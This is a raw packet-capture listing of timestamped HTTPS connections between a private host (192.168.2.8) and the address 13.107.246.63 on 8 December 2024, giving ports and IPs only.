Dec 8, 2024 10:47:29.907867908 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.909149885 CET	49735	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.909157038 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.909687042 CET	49735	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.909691095 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.909981966 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.910007000 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.910043001 CET	49734	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.910068035 CET	443	49734	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.910716057 CET	49734	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.910722017 CET	443	49734	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:29.910759926 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:29.910765886 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.339323044 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.339348078 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.339422941 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.339446068 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.339580059 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.339855909 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.339862108 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.339881897 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.340029955 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.340059996 CET	443	49733	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.340112925 CET	49733	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.342205048 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.342274904 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.342386961 CET	49735	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.342498064 CET	49735	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.342498064 CET	49735	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.342514038 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.342521906 CET	443	49735	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.342915058 CET	443	49734	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.342969894 CET	443	49734	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.343023062 CET	49734	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.344522953 CET	49737	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.344553947 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.344621897 CET	49737	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.344842911 CET	49734	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.344842911 CET	49734	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.344872952 CET	443	49734	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.344882011 CET	443	49734	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.345155954 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.345185041 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.345240116 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.345248938 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.345335960 CET	49737	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.345340967 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.345345020 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.345437050 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.345437050 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.345442057 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.345608950 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.345640898 CET	443	49732	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.345693111 CET	49732	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.347579956 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.347615004 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.347661018 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.347690105 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.347958088 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.347970963 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.348040104 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.348131895 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.348160028 CET	443	49736	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.348206043 CET	49736	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.349148989 CET	49738	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.349179983 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.349235058 CET	49738	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.349505901 CET	49738	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.349514961 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.350857973 CET	49739	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.350872993 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.351027012 CET	49739	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.351084948 CET	49739	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.351094007 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.351330996 CET	49740	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.351365089 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.351423025 CET	49740	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.351567984 CET	49740	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.351574898 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.352288961 CET	49741	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.352328062 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:30.352418900 CET	49741	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.352570057 CET	49741	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:30.352586031 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:31.692624092 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:31.692694902 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:31.693097115 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:31.693181992 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:31.693195105 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.059834957 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.060480118 CET	49737	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.060498953 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.061065912 CET	49737	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.061085939 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.064464092 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.064542055 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.064980030 CET	49739	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.065007925 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.065017939 CET	49738	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.065041065 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.065561056 CET	49739	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.065574884 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.065769911 CET	49738	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.065776110 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.066510916 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.066895008 CET	49740	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.066921949 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.067233086 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.067342043 CET	49740	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.067347050 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.067605019 CET	49741	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.067620039 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.068082094 CET	49741	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.068088055 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.494335890 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.494412899 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.494508982 CET	49737	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.494796991 CET	49737	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.494796991 CET	49737	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.494815111 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.494826078 CET	443	49737	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.497464895 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.497538090 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.497617960 CET	49739	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.497818947 CET	49739	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.497827053 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.497853994 CET	49739	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.497860909 CET	443	49739	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.498210907 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.498286963 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.498362064 CET	49738	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.498853922 CET	49743	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.498903036 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.499000072 CET	49743	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.499239922 CET	49738	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.499260902 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.499273062 CET	49738	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.499279976 CET	443	49738	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.499567986 CET	49743	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.499583006 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.499638081 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.499706984 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.499761105 CET	49740	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.500005007 CET	49740	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.500025988 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.500061989 CET	49740	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.500067949 CET	443	49740	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.500562906 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.500636101 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.500699043 CET	49741	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.501704931 CET	49741	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.501715899 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.501751900 CET	49741	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.501756907 CET	443	49741	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.504647970 CET	49744	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.504689932 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.504764080 CET	49744	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.505353928 CET	49745	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.505388975 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.505461931 CET	49745	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506155014 CET	49746	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506155014 CET	49744	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506172895 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.506190062 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.506274939 CET	49746	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506361961 CET	49746	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506375074 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.506525040 CET	49745	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506536961 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.506556988 CET	49747	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506576061 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:32.506673098 CET	49747	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506839991 CET	49747	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:32.506848097 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.408839941 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.408963919 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:33.411092043 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:33.411102057 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.411390066 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.422485113 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:33.467334986 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.889770985 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.889792919 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.889890909 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.889987946 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:33.889987946 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:33.890017033 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:33.890116930 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.069942951 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.069973946 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.070017099 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.070043087 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.070056915 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.070228100 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.113631964 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.113656998 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.113693953 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.113704920 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.113732100 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.113759995 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.213718891 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.214224100 CET	49743	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.214242935 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.214987993 CET	49743	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.214997053 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.226169109 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.226614952 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.226651907 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.226685047 CET	49744	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.226703882 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.227020025 CET	49747	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.227034092 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.227231026 CET	49744	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.227236032 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.227582932 CET	49745	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.227583885 CET	49747	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.227592945 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.227605104 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.228051901 CET	49745	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.228064060 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.228086948 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.228436947 CET	49746	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.228445053 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.229038000 CET	49746	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.229043007 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.245630026 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.245651960 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.245702982 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.245722055 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.245738983 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.245764971 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.283629894 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.283663988 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.283699036 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.283714056 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.283744097 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.283765078 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.305053949 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.305079937 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.305135012 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.305149078 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.305346012 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.323896885 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.323932886 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.323971033 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.323976994 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.324027061 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.439110994 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.439142942 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.439217091 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.439239025 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.439323902 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.453929901 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.453955889 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.454006910 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.454015017 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.454055071 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.454077005 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.470386028 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.470415115 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.470463037 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.470472097 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.470521927 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.470536947 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.486757994 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.486797094 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.486843109 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.486855984 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.486882925 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.486902952 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.627280951 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.627310038 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.627383947 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.627398968 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.627408981 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.627453089 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.642455101 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.642492056 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.642524958 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.642539024 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.642632008 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.646970987 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.647038937 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.647115946 CET	49743	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.647579908 CET	49743	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.647579908 CET	49743	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.647603989 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.647615910 CET	443	49743	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.651529074 CET	49748	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.651567936 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.651675940 CET	49748	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.651818991 CET	49748	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.651835918 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.656728983 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.656750917 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.656814098 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.656821966 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.656857014 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.656871080 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.659856081 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.659940004 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.659987926 CET	49747	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.660141945 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.660172939 CET	49747	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.660171986 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.660172939 CET	49747	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.660201073 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.660209894 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.660212994 CET	443	49747	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.660237074 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.660300016 CET	49745	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.660303116 CET	49744	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.660638094 CET	49745	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.660638094 CET	49745	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.660645962 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.660654068 CET	443	49745	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.660984039 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.661037922 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.661269903 CET	49746	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.661560059 CET	49746	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.661571980 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.661596060 CET	49746	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.661606073 CET	443	49746	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.662389040 CET	49744	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.662405014 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.662421942 CET	49744	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.662425995 CET	443	49744	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.666125059 CET	49749	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.666161060 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.666223049 CET	49749	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.667330027 CET	49750	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.667360067 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.667454958 CET	49750	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.667675018 CET	49749	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.667685986 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.667834044 CET	49751	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.667845964 CET	443	49751	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.667912006 CET	49751	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.668091059 CET	49751	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.668097973 CET	443	49751	13.107.246.63	192.168.2.8
